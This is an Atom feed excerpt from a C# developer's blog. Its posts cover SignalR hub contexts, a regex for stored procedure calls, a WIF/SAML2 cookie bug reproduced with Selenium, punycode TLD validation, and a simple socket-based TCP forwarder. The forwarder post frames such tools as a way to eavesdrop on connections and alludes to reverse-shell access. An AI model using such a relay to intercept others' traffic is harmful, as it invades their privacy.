url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGn-XYiQbQRFzLKBD2RMq6wZ7AjUNGU05PLLF3P74h7FvkZljsBmTUyzDvgsGE3hhBELMpoAXMsC8LUBywHe6O5bZ3A9ZVDrwLiQW2_oTAkmZbvKL6LguEV-kKpFGkG1eMGokC1Gg4584/s72-c/Moq+Return+method+not+available.png" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-2619853337923325552</id><published>2013-02-23T00:53:00.000+01:00</published><updated>2013-02-23T00:53:06.408+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SignalR"/><title type='text'>SignalR: Using a Hub instance not created by the HubPipeline is unsupported</title><content type='html'>When you need to push data to a &lt;b&gt;SignalR &lt;/b&gt;hub from outside the hub (from a Controller for example), don&#39;t try to create a new instance of the Hub, like I did. Otherwise you&#39;ll see this nice exception:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&quot;Using a Hub instance not created by the HubPipeline is unsupported&quot;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
From&amp;nbsp;&lt;b&gt;Microsoft.AspNet.SignalR.Core&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Instead, the hub context must be retrieved:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;var context = GlobalHost.ConnectionManager.GetHubContext&amp;lt;HubType&amp;gt;();
context.Clients.All.Whatever();
&lt;/pre&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/2619853337923325552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2013/02/signalr-using-hub-instance-not-created.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2619853337923325552'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2619853337923325552'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2013/02/signalr-using-hub-instance-not-created.html' title='SignalR: Using a Hub instance not created by the HubPipeline is unsupported'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-5707750675107099529</id><published>2013-02-16T17:55:00.000+01:00</published><updated>2013-02-16T17:56:26.765+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Regex"/><category scheme="http://www.blogger.com/atom/ns#" term="Stored Procedure"/><title type='text'>Regex to match executing a stored procedure within a stored procedure</title><content type='html'>Unless you&#39;re working with a custom string format, which requires you writing a regular expression, I suppose (suggest?) you&#39;ll look it up online, right?&lt;br /&gt;
&lt;br /&gt;
If you need a Regex to match an &lt;a href=&quot;http://answers.oreilly.com/topic/318-how-to-match-ipv4-addresses-with-regular-expressions/&quot;&gt;IP&lt;/a&gt;, &lt;a href=&quot;http://stackoverflow.com/questions/4260467/what-is-a-regular-expression-for-a-mac-address&quot;&gt;MAC&lt;/a&gt; or an &lt;a href=&quot;http://www.regular-expressions.info/email.html&quot;&gt;E-mail&lt;/a&gt;, would you spend time writing it? Chances are that you might leave room for false positives and/or false negatives, unless you &lt;b&gt;really &lt;/b&gt;test it. That&#39;s why it&#39;s common to look it up online.&lt;br /&gt;
&lt;br /&gt;
I needed to take a list of proc names and parse thousands of &lt;i&gt;create procedure&lt;/i&gt; scripts, looking up if anything from the input list was used (executed) from those procs. &lt;b&gt;A procedure executing another procedure.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This kind of call can be made in several different ways. It might have or not the database name (cross db call), server name (linked server), it might have or not the EXEC/EXECUTE keyword. It might have or not brackets or set the result to a variable.
&lt;br /&gt;
&lt;br /&gt;
Since I looked it up and couldn&#39;t find it, I wrote it.&lt;br /&gt;
In case you need it, here you go:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;^\s*((exec(ute)?)\s+)?(@\w+\s+=\s+)?((\[?\w+\]?\.{1,2}){1,3})?\[?p_storedProcedure\]?\s.*$&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Note that if you use SQL Server with default collation, &lt;a href=&quot;http://stackoverflow.com/questions/508739/are-sql-stored-procedures-case-sensitive&quot;&gt;proc names are case insensitive&lt;/a&gt;. So make sure you let your Regex engine know it should &lt;b&gt;ignore cases&lt;/b&gt;! Otherwise you&#39;ll have to mind the case of the EXEC/EXECUTE keywords anyway.&lt;br /&gt;
&lt;br /&gt;
Also note that cross database and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms188279.aspx&quot;&gt;linked server&lt;/a&gt; calls will also match. Some examples of valid proc calls (that will match against the Regex) are:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:sql&quot;&gt;p_storedProcedure -- comments
p_storedProcedure @id, @anotherParam
[p_storedProcedure] @id, @anotherParam
EXEC p_storedProcedure @id, @anotherParam
EXECUTE p_storedProcedure @id, @anotherParam
EXEC p_storedProcedure
EXEC p_storedProcedure -- comments
EXEC [p_storedProcedure] @id, @anotherParam
EXEC dbo.p_storedProcedure @id, @anotherParam
EXEC dbo.[p_storedProcedure] @id, @anotherParam
EXEC anySchema.[p_storedProcedure] @id, @anotherParam
EXECUTE dbo.[p_storedProcedure] @id, @anotherParam
EXEC [dbo].[p_storedProcedure] @id, @anotherParam
EXEC [dbo].p_storedProcedure @id, @anotherParam
EXEC DBTEST..p_storedProcedure @id, @anotherParam
EXEC DBTEST..[p_storedProcedure]
EXEC DBTEST.dbo.p_storedProcedure @id, @anotherParam
EXEC [DBTEST]..[p_storedProcedure] @id, @anotherParam
EXEC [DBTEST]..p_storedProcedure @id, @anotherParam
EXEC [DBTEST].[dbo].[p_storedProcedure] @id, @anotherParam
EXEC [LINKEDDATABASE].[DBTEST].[dbo].[p_storedProcedure] @id, @anotherParam
EXEC LINKEDDATABASE.DBTEST.dbo.p_storedProcedure @id, @anotherParam
EXEC LINKEDDATABASE.DBTEST..p_storedProcedure @id, @anotherParam
EXEC @paramName = [dbo].[p_storedProcedure] @id, @anotherParam
EXEC @paramName = dbo.p_storedProcedure
EXEC @paramName = p_storedProcedure @id, @anotherParam
EXECUTE @paramName = p_storedProcedure @id, @anotherParam
EXECUTE    @paramName     =     p_storedProcedure     @id, @anotherParam
&lt;/pre&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/5707750675107099529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2013/02/regex-to-match-executing-stored.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5707750675107099529'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5707750675107099529'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2013/02/regex-to-match-executing-stored.html' title='Regex to match executing a stored procedure within a stored procedure'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-1940219522326486955</id><published>2012-12-12T21:39:00.000+01:00</published><updated>2012-12-12T21:41:34.958+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SAML2"/><category scheme="http://www.blogger.com/atom/ns#" term="Selenium"/><category scheme="http://www.blogger.com/atom/ns#" term="WIF"/><title type='text'>Pitfalls on WIF+SAML2 and Selenium</title><content type='html'>&lt;h3&gt;
&lt;b&gt;WIF and SAML 2.0&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
First some background: There is a &lt;a href=&quot;http://social.msdn.microsoft.com/Forums/en-SG/Geneva/thread/ec4ea486-6a78-4b49-b66b-353144b52d0b&quot;&gt;known issue&lt;/a&gt; on WIF (Windows Identity Foundation) for SAML 2.0 that generates cookies with a name being a GUID and the value, base64 encoded data that grows every SAMLRequest the module handles. The decoded value looks like:&amp;nbsp;&lt;i&gt;0;1;2;3;4;5;6;7;8;9;10;11;12;13;14;15&lt;/i&gt;&lt;br /&gt;
It starts with small ones but get really, really large.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgDJqGBp3zJo5dyvemM08R0brgb9pRUYB2oqt__DUeUgTIadbr39p37VEVS_OWSGSPWOZN7No9hyphenhyphenER3EKRDnnVU2Wjg9mFkjICXaz3t939hsMwroUp9eVQ4TwzEJSE74jIRPQMWlEoT2w/s1600/wif+saml2+guid+cookies.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgDJqGBp3zJo5dyvemM08R0brgb9pRUYB2oqt__DUeUgTIadbr39p37VEVS_OWSGSPWOZN7No9hyphenhyphenER3EKRDnnVU2Wjg9mFkjICXaz3t939hsMwroUp9eVQ4TwzEJSE74jIRPQMWlEoT2w/s320/wif+saml2+guid+cookies.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Every client gets one of these cookies and each time they are bigger, to the point that when they are sent back to the server, an HTTP error is thrown:&amp;nbsp;&lt;i&gt;HTTP 400 - Bad Request (Request Header too long)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
This&amp;nbsp;&lt;a href=&quot;http://social.msdn.microsoft.com/Forums/en-SG/Geneva/thread/ec4ea486-6a78-4b49-b66b-353144b52d0b&quot;&gt;msdn link&lt;/a&gt;&amp;nbsp;has a comment with the first steps to take in case you end up with this problem. They are very straight forward and we did them even before ending up on that msdn page. Regarding their forth step (final &quot;fix&quot;), in our case, it was decided a different solution.&lt;br /&gt;
&lt;br /&gt;
The solution here was to remove the cookies before they would be sent out to the user in the first place. This way, even though for some really short time the cookie existed in memory at the server, the client never got to know of its existence. Do achieve that, login and logout gotta be changed. That is:&amp;nbsp;&lt;b&gt;SignIn&lt;/b&gt;&amp;nbsp;and&amp;nbsp;&lt;b&gt;RedirectingToIdentityProvider&amp;nbsp;&lt;/b&gt;events from the&amp;nbsp;&lt;b&gt;Saml2AuthenticationModule&lt;/b&gt;. At that point in the event pipeline, the underlying Microsoft WIF code had already added the cookies to the Response, which gives us opportunity to remove them before the headers are sent out to the client.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;b&gt;Which takes us to Selenium:&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
The final solution had to be tested before dropping new build to production. And to test it, we had to reproduce it. The issue was not known during Dev or QA phases/environments, it did not happen, so the first step was to be able to reproduce it on a controlled environment.&lt;br /&gt;
&lt;br /&gt;
Basically&amp;nbsp;the idea was to use Selenium to simulate few dozens of users logging in and off in parallel until a cookie matching a GUID (plus a number?) would be received by one of the clients. There was no need to let it grow to the point of having:&amp;nbsp;&lt;i&gt;HTTP 400 - Bad Request (Request Header too long)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
For that, I wrote a small application to spawn a thread for each IWebDriver (threads from the pool were conflicting the Drivers), each logging in with a different user account, removing the cookies (so user would be challenged again) and starting over.&lt;br /&gt;
&lt;br /&gt;
The code would detect the existence of the cookie and stop the test, but to make visible (the cookies in and out) we can load Selenium driver with Firebug enabled and the cookie tab enabled and visible as default.&lt;br /&gt;
&lt;br /&gt;
That goes like:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;const string firebug = @&quot;firebug-1.10.6-fx.xpi&quot;;
IWebDriver driver;
if (includeFireBug &amp;amp;&amp;amp; File.Exists(firebug))
{
 var profile = new FirefoxProfile();
 profile.AddExtension(firebug);
 // Set default Firebug preferences
 profile.SetPreference(&quot;extensions.firebug.currentVersion&quot;, &quot;1.10.6&quot;);
 profile.SetPreference(&quot;extensions.firebug.allPagesActivation&quot;, &quot;on&quot;);
 profile.SetPreference(&quot;extensions.firebug.defaultPanelName&quot;, &quot;cookies&quot;);
 profile.SetPreference(&quot;extensions.firebug.net.enableSites&quot;, true);
 profile.SetPreference(&quot;extensions.firebug.cookies.enableSites&quot;, true);
 driver = new FirefoxDriver(profile);
&lt;/pre&gt;
&lt;br /&gt;
I mentioned the code would check the cookies to look for the GUID one, and with selenium API, it&#39;s very simple to do so:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;Guid test;
if (driver.Manage().Cookies.AllCookies.Any(p =&amp;gt; p.Name.Length &amp;gt;= 37 
    &amp;amp;&amp;amp; Guid.TryParse(p.Name.Substring(0, 36), out test)))
{
...
&lt;/pre&gt;
&lt;br /&gt;
Just checked if it&#39;s big enough to be GUID, then tried to parse the GUID part of it (note it appends some number to sequentially divide them into 2k sized each).&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
Two domains involved in this test. The service provider, let&#39;s call:&amp;nbsp;&lt;i&gt;service.com&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
And the identity provider: &lt;i&gt;idp.com&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Initially I set the IWebDriver Url property to the service provider: &lt;i&gt;service.com&lt;/i&gt;&lt;br /&gt;
Find the element for Login and fire a click. That would call the SAML module that would redirect the client to the identity provider: &lt;i&gt;idp.com&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
The login and password input elements would be filled up and login&amp;nbsp;button triggered in the IdP page.&lt;br /&gt;
At this point, the session cookie from the IdP was sent to the browser, under &lt;i&gt;idp.com &lt;/i&gt;domain, and client redirected back to &lt;i&gt;service.com. &lt;/i&gt;SAML flow finished and session cookies from &lt;i&gt;service.com&lt;/i&gt;&amp;nbsp;also sent to the client.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
That&#39;s all we need to reproduce the issue. However, these steps had to be done over and over, several times until the issue would happen.&amp;nbsp;Particularly in our case,&amp;nbsp;Logout was not possible since the accounts used were test account and thus not validated, so simply deleting the cookies would enable us restart the flow (and save us some requests/time). But this means deleting cookies from both&amp;nbsp;&lt;i&gt;&lt;b&gt;service.com&lt;/b&gt;&lt;/i&gt; and&lt;i&gt; &lt;b&gt;idp.com&lt;/b&gt;.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Using Selenium API, I wrote:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;driver.Manage().Cookies.DeleteAllCookies();
&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Even though the method is called &lt;b&gt;DeleteAllCookies&lt;/b&gt;, it deletes &lt;i&gt;all&lt;/i&gt;&amp;nbsp;cookies from the &lt;b&gt;current domain&lt;/b&gt; on which the WebDriver is located. In this case,&amp;nbsp;&lt;i&gt;service.com,&lt;/i&gt;&amp;nbsp;since user just landed after the SAML login.&lt;br /&gt;
Looping the Cookies collection from within the WebDriver obviously would return only the cookies from the current domain.&lt;br /&gt;
&lt;br /&gt;
It was the time for a second&amp;nbsp;maneuver:&lt;br /&gt;
Setting the Url property of the WebDriver to anywhere under the &lt;i&gt;idp.com&lt;/i&gt;&amp;nbsp;domain that wouldn&#39;t return with a redirection, and call again DeleteAllCookies. That simple.&lt;br /&gt;
I browsed the root of the domain, without any&amp;nbsp;resource&amp;nbsp;id,&amp;nbsp;which returned&amp;nbsp;&lt;i&gt;403.14 - Directory listing denied. &lt;/i&gt;That was enough to run a code like:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;// right after login flow finished (landed on service.com, logged in)
driver.Manage().Cookies.DeleteAllCookies(); // deletes service.com cookies
driver.Url = &quot;idp.com&quot;;
driver.Manage().Cookies.DeleteAllCookies(); // deletes idp.com cookies
&lt;/pre&gt;
&lt;br /&gt;
After that the flow could be re-initiated. After few hundreds of times, we could reproduce the issue, add the fix, run the test again with thousands of logins, without any issues.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/1940219522326486955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/12/pitfalls-on-wifsaml2-and-selenium.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1940219522326486955'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1940219522326486955'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/12/pitfalls-on-wifsaml2-and-selenium.html' title='Pitfalls on WIF+SAML2 and Selenium'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgDJqGBp3zJo5dyvemM08R0brgb9pRUYB2oqt__DUeUgTIadbr39p37VEVS_OWSGSPWOZN7No9hyphenhyphenER3EKRDnnVU2Wjg9mFkjICXaz3t939hsMwroUp9eVQ4TwzEJSE74jIRPQMWlEoT2w/s72-c/wif+saml2+guid+cookies.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-7204528389072341732</id><published>2012-11-10T23:37:00.000+01:00</published><updated>2012-11-26T16:44:22.816+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C#"/><category scheme="http://www.blogger.com/atom/ns#" term="IDN"/><category scheme="http://www.blogger.com/atom/ns#" term="Network"/><category scheme="http://www.blogger.com/atom/ns#" term="Punycode"/><title type='text'>Top level domains and punycode with C#</title><content type='html'>&lt;a href=&quot;http://en.wikipedia.org/wiki/Punycode&quot;&gt;Punycode&lt;/a&gt;&amp;nbsp;is used&amp;nbsp;to encode Unicode characters into ASCII for&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Internationalized_domain_name&quot;&gt;IDN (Internationalized domain name)&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
On the &lt;a href=&quot;http://www.ietf.org/rfc/rfc3492.txt&quot;&gt;RFC 3492&lt;/a&gt; you&#39;ll find:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;Punycode is a simple and efficient transfer encoding syntax designed&amp;nbsp;for use with Internationalized Domain Names in Applications (IDNA).&amp;nbsp;It uniquely and reversibly transforms a Unicode string into an ASCII&amp;nbsp;string.&quot;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Now if you are looking for validating TLD (Top level domains), you must have that information in mind. The &lt;a href=&quot;http://data.iana.org/TLD/tlds-alpha-by-domain.txt&quot;&gt;ICANN list of TLD&lt;/a&gt;&amp;nbsp;also contains the IDN ccTLD that started to be included in 2010.&lt;br /&gt;
&lt;br /&gt;
Some Punycode encoded examples from that list:&lt;br /&gt;
&lt;pre style=&quot;white-space: pre-wrap; word-wrap: break-word;&quot;&gt;XN--0ZWM56D
XN--11B5BS3A9AJ6G
XN--3E0B707E
XN--45BRJ9C
XN--80AKHBYKNJ4F
XN--80AO21A
XN--90A3AC
XN--9T4B11YI5A
XN--CLCHC0EA0B2G2A9GCD
XN--DEBA0AD
XN--FIQS8S
XN--FIQZ9S&lt;/pre&gt;
The prefix is XN-- makes it easier to identify the Punycode enconded strings.&lt;br /&gt;
&lt;br /&gt;
Luckily the since version 2.0, the .Net Framework offers a class to deal with IDN (Punycode and the Nameprep it has to do prior to encoding):&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.globalization.idnmapping.aspx&quot;&gt;System.Globalization.IdnMapping.&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
My goal was to receive a TLD (string) and validate it against the ICANN list of TLD. My first snippet throw an exception on line 4:&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;var tld = &quot;.ਭਾਰਤ&quot;;
if (Regex.IsMatch(tld, @&quot;[^\u0000-\u007F]&quot;))
{
    tld = _IdnMapping.GetAscii(tld);
}&lt;/pre&gt;
Exception message was: &lt;b&gt;IDN labels must be between 1 and 63 characters long.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
My speed reading techniques are quite bad.. In fact I don&#39;t have any. Sometimes I just focus on what I believe to be the most important part of the message (in this case &quot;1 and 63 chars long&quot; which didn&#39;t make sense) and I ended up missing something important (&lt;b&gt;IDN labels&lt;/b&gt;).&lt;br /&gt;
&lt;br /&gt;
I googled the exception, finding only these very useful (?!?) &lt;a href=&quot;http://www.errortoenglish.com/pt-pt/W4Y3A1Y5/IDN-labels-must-be-between-1-and-63-characters-long.aspx&quot;&gt;Exception translation websites&lt;/a&gt;&amp;nbsp;and nothing more.&lt;br /&gt;
Only to better read the message and realize that the catch was that IdnMapping works with &lt;a href=&quot;http://www.icann.org/en/resources/idn/glossary&quot;&gt;domain name labels&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;A constituent part of a domain name. The labels of domain names are connected by dots. For example, &quot;www.iana.org&quot; contains three labels — &quot;www&quot;, &quot;iana&quot; and &quot;org&quot;. For internationalized domain names, the labels may be referred to as A-labels and U-labels.&quot;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
Therefore, my input was simply broken considering it started with a dot. If you are looking to validate the complete list of TLD, including ccTLD, or even the complete domain with multiple labels supporting IDN, the IdnMapping class is a go. However, make sure your code does not have leading or&amp;nbsp;trailing&amp;nbsp;dots by having it Trim(&#39;.&#39;) or something.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivoCf2GvUfIWCyIH1L-s3ExOLJ8tPFflGsech-V7cx_FJKE_UCGii1lft9YPpO7uUwekmncz2Xt5cmb1W8XF-JsHynk2P5-xfD8-udBOIRvW6UfNKjorSQuc5TNZrC54jUbgbSpu319r8/s1600/punycode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivoCf2GvUfIWCyIH1L-s3ExOLJ8tPFflGsech-V7cx_FJKE_UCGii1lft9YPpO7uUwekmncz2Xt5cmb1W8XF-JsHynk2P5-xfD8-udBOIRvW6UfNKjorSQuc5TNZrC54jUbgbSpu319r8/s400/punycode.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Regarding the IDNA versions, on the .Net framework prior to version 4.5 works with version 2003. Now if you are running &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.globalization.idnmapping.aspx&quot;&gt;.Net Framework 4.5 on Windows 8, the IDNA 2008&lt;/a&gt; will be used.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/7204528389072341732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/11/top-level-domains-and-punycode-with-c.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7204528389072341732'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7204528389072341732'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/11/top-level-domains-and-punycode-with-c.html' title='Top level domains and punycode with C#'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivoCf2GvUfIWCyIH1L-s3ExOLJ8tPFflGsech-V7cx_FJKE_UCGii1lft9YPpO7uUwekmncz2Xt5cmb1W8XF-JsHynk2P5-xfD8-udBOIRvW6UfNKjorSQuc5TNZrC54jUbgbSpu319r8/s72-c/punycode.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-2721137023558397088</id><published>2012-10-09T21:43:00.000+02:00</published><updated>2016-03-19T20:25:11.493+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Network"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="Tunneling"/><title type='text'>Simple TCP Forwarder in C#</title><content type='html'>When people ask: What would I use a TCP Forwarding tool for?&lt;br /&gt;
&lt;div&gt;
Normally the answer goes like &quot;to eavesdrop someone&#39;s connection&quot;.&lt;br /&gt;
&lt;br /&gt;
Most of our connections go over SSL (at least the most important ones) and the certificate would be invalidated in case a MITM would be on going.&lt;br /&gt;
&lt;br /&gt;
There are some troubleshooting situations when one would use a TCP forwarding tool as a proxy from one box to another but on what basis this technique/tool is used can vary a lot.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
There are many TCP forwarding tools available on the web. However, the truth is that no one wants to get a whole solution out of a compressed file, fire Visual Studio when accessing a computer via command line (read: reverse shell here?). On top of that, I wanted to have some fun, so I decided to write one.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
And how complicated is to write a TCP Forwarding tool? Or a TCP proxy if you prefer, in C#?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It takes only 66 lines of code using plain Socket class. And it&#39;s fun!&lt;/div&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;using System;
using System.Net;
using System.Net.Sockets;

namespace BrunoGarcia.Net
{
    public class TcpForwarderSlim
    {
        private readonly Socket _mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

        public void Start(IPEndPoint local, IPEndPoint remote)
        {
            _mainSocket.Bind(local);
            _mainSocket.Listen(10);

            while (true)
            {
                var source = _mainSocket.Accept();
                var destination = new TcpForwarderSlim();
                var state = new State(source, destination._mainSocket);
                destination.Connect(remote, source);
                source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state);
            }
        }

        private void Connect(EndPoint remoteEndpoint, Socket destination)
        {
            var state = new State(_mainSocket, destination);
            _mainSocket.Connect(remoteEndpoint);
            _mainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataReceive, state);
        }

        private static void OnDataReceive(IAsyncResult result)
        {
            var state = (State)result.AsyncState;
            try
            {
                var bytesRead = state.SourceSocket.EndReceive(result);
                if (bytesRead &gt; 0)
                {
                    state.DestinationSocket.Send(state.Buffer, bytesRead, SocketFlags.None);
                    state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state);
                }
            }
            catch
            {
                state.DestinationSocket.Close();
                state.SourceSocket.Close();
            }
        }

        private class State
        {
            public Socket SourceSocket { get; private set; }
            public Socket DestinationSocket { get; private set; }
            public byte[] Buffer { get; private set; }

            public State(Socket source, Socket destination)
            {
                SourceSocket = source;
                DestinationSocket = destination;
                Buffer = new byte[8192];
            }
        }
    }
}
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
